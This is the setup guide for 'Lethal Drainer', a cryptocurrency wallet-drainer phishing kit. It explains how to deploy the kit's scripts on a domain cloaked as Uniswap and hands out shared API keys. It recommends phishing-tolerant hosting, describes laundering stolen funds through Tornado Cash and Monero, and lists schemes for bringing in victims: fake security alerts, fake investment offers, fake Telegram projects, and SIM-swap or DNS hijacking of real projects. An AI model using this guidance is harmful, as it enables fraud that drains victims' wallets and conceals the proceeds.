Setting up your Lethal Drainer Instance.
Lethal Drainer (https://t.me/lethaldrainer)Guide on setting up your very own Lethal Instance:
Make sure to register with @lethaldrainer_bot and interact with @lethalalerts_bot to receive alerts of successful drains.
If you ever do want to change your address on Lethal Network, all you have to do is re-enter /register <new ethereum address> - it will update it automatically and that's it, you can verify by typing /user
You will need the following: Domain, Hosting, Ankr API key, and, WalletConnect Project ID.
For domain or hosting recommendations, we suggest you visit: https://offshore.cat/
- We recommend v-sys for hosting, and ironically namecheap is lenient with phishing domains but if you want to be extra safe, you may use https://bpserv.host/
- For DNS unless you have a webhosting plan, then this does not apply to you, but Cloudflare is a good option to manage DNS.
For Laundering / Cleaning funds:
- We recommend the following:
- https://trocador.app/ (Used by DNM vendors - Lethal Approved) - https://tornadocash.eth.link/ - https://thorswap.finance/
- Make sure to recycle addresses, you may launder it through Monero and then just keep cycling through XMR addresses, do not deposit dirty funds into known exchanges unless you know for sure they are clean.
For Traffic:
- These are some ways you can get started, if you do not have a traffic source already:
- Twitter / X
> Revoke.cash scheme, where you pose as security researchers (require blue verified accounts), and you tweet fake alerts of a hack such as 1inch or Uniswap, and send out a phishing revoke.cash link telling asset holders that their assets are at risk if they do not revoke their funds using your phishing link.
> Twitter / X Ads promoting a trending project, attach your phishing link and promise fake rewards in exchange for interaction within the platform (Lethal phishing link)
- Snapchat 1:1 Investor Scheme (Requires promo + a growing following), you send the victim a known exchange disguised as phishing link and trick them into approving and draining their funds, prior to that you tell everyone you only ask for 10% of funds after they have profited, this is to enable initial trust and bait them.
> Other: You may try taking over expired vanity links related to crypto projects, and quickly set up your phishing link posing as the project, while members join thinking it's the actual project's channel.
> You may try posing as a trending project via telegram (requires a group with scraped / fake members (7k-11k+) and preferably bots to interact within the group to make it seem the project is viable and active, you may lock the channel to read-only, inflate the views and advertise your phishing link and instruct new investors to interact with your phishing platform in order to purchase or redeem tokens.
> DNS Hijacking or Social Media Hijacking (Sim Swapping): for this you need to be able to social engineer an employee into resetting the project's credential logins for their DNS management platform (Such as GoDaddy, Name.com, or, even Cloudflare). You may also sim-swap the phone number linked to the email that is used to log into their social media or DNS management platform, this way you can reset their email and from there reset their password.
> Google Ads or Bing Ads (For Bing SEO, you can rank #1 by modifying your metadata and rank yourself up, it's all about search keywords).
For Google Ads it is more complicated since you might require an aged account or an account with history to get Ad Campaigns going right off the bat, with Bing it is a little easier.
You need to be creative, and see what works best for you, but these are some, it all depends on how much endurance, patience, and, drive you have.
Now for individuals who are having difficulty generating Ankr API keys and WalletConnect, we can provide some that you may use:
> cat keys.txt
ANKR: 36db9969447022530fc945249795641474e37d1539ee2bad18f8058ed333fb9c WC Project ID: 20a8717ce5041bcd6a1739651ba5335d
Note: By using the keys we provided, there is always the chance that one of them might get blacklisted, so that is a risk you are willing to take by using them.
If you want to generate your own API and Project ID, do the following
ANKR:
1. Visit https://www.ankr.com/rpc/advanced-api
2. Sign-in using your ethereum wallet, make sure your wallet has previous transactions or else it will flag your sign-in as suspicious or from a "new" account.
- You may also use a github or email, but for anonymity purposes, preferably use some throwaway ethereum account.
3. Once you sign-in visit the Advanced API tab if you haven't already.
4. You will be provided an endpoint, it will look like this "https://rpc.ankr.com/multichain/36db9969447022530fc945249795641474e37d1539ee2bad18f8058ed333fb9c"
5. Copy the value that is after https://rpc.ankr.com/, so 36db9969447022530fc945249795641474e37d1539ee2bad18f8058ed333fb9c, this is your ANKR API key.
WC Project ID:
1. Visit https://cloud.walletconnect.com/sign-in
2. Sign-in using your ethereum wallet.
3. Create a project, name it whatever you would like and you may put a random domain.
4. Click your project, and copy your WalletConnect Project ID.
Once you have done that, fill in your API keys in settings.js and just upload your phishing content to your domain, ensure that you have SSL enabled. (If you get 521 error on Cloudflare
then toggle ‘Flexible’ SSL)
Make sure to add the following code above your <head></head> tags:
<script src="./js/settings.js"></script> <script type="module" src="./js/ob.js"></script>
Make sure to put your settings.js and ob.js in the js directory (you may choose the file-name for both but modify the code above).
You have now successfully setup your own Lethal Instance, now if you want to customize your instance, access settings.js and you can modify parameters such as:
let walletconnect_metadata = {
name: 'Uniswap',
description: 'Uniswap Connect',
url: 'https://uniswap.org/',
icons: ['https://logowik.com/content/uploads/images/uniswap-uni-icon486.logowik.com.webp'],
}
This will allow you to cloak your web3modal to a legitimate domain.
You may also set 'let connect_button_class = "connectButton"', you can add any name you want for connectButton, but once you have set a connect class, just add it to your "connect wallet" or "launch app" class, like this:
<a target="_blank" rel="noopener noreferrer" class="Button__StyledLink-sc-p6xn44-3 NBQYa Button__ButtonSecondary-sc-p6xn44-1 Navigation__LaunchButton-sc-v46eg4-0 fpGARf fVQvCS connectButton">Launch App</a>
It is very simple, once that is done, visit your phishing domain and upon clicking the button, the modal will pop up.
You may modify other parameters, just don't modify let lethal_user_id = ''; unless you know what you're doing.
- Note that if the eligibity check modal is taking too long and you're getting an error related to "assets" in console, it typically means your ANKR api key is invalid, make sure it is configured correctly.
We will be working on more updates, and updating this docket if we have updated anything that is related to user-side configuration.
Thank you,
Lethal Team (https://t.me/lethaldrainer)